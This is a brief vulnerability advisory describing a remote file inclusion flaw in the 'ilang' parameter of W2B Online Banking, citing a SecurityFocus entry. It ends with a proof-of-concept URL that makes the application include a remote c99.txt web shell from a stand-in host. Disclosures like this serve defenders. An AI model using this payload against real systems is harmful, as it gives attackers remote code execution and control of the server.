W2B Online Banking - 'ilang' Remote File Inclusion

source: https://www.securityfocus.com/bid/28796/info

W2B Online Banking is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/index.php?ilang=http://www.example2.com/c99.txt